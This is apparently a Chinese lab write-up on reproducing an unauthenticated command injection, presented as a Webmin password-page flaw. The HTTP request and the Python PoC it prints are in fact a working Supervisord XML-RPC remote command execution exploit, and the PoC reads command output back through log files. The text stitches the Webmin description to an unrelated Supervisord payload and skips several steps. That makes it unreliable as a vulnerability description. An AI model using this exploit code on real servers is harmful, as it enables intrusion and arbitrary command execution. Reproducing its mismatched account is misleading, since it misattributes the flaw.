Webmin是一个用于管理类Unix系统的管理配置工具,具有Web页面。在其找回密码页面中,存在一处无需权限的命令注入漏洞,通过这个漏洞攻击者即可以执行任意系统命令。
启动环境后访问,忽略证书后即可看到登录页面。
需要注意,必须开启“用户更改密码”,这里环境已经开启了,如果没有开启需要手动开启:
首先进入容器,修改root密码:
修改后登录webmin后修改配置:
在中查看则说明修改成功。
接下来开始复现,发送如下数据包,即可执行id命令:
POST /password_change.cgi HTTP/1.1 Host: [ip]:10000 Accept-Encoding: gzip, deflate Accept: ** Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 213 <?xml version="1.0"?> <methodCall> <methodName>supervisor.supervisord.options.warnings.linecache.os.system</methodName> <params> <param> <string>touch /tmp/success</string> </param> </params> </methodCall>
查看命令执行情况:
可以看到命令成功执行。
这里还有大佬的另一个思路,将执行的结果写入log文件,然后调用Supervisord自带的readLog方法读取log文件,将结果读出来。
poc脚本:
#!/usr/bin/env python3 import xmlrpc.client import sys target=sys.argv[1] command=sys.argv[2] with xmlrpc.client.ServerProxy(target) as proxy: old=getattr(proxy, 'supervisor.readLog')(0,0) logfile=getattr(proxy, 'supervisor.supervisord.options.logfile.strip')() getattr(proxy, 'supervisor.supervisord.options.warnings.linecache.os.system')('{} | tee -a {}'.format(command, logfile)) result=getattr(proxy, 'supervisor.readLog')(0,0) print(result[len(old):])
执行poc脚本,输入命令::
可以看到成功执行命令,并且看到了回显。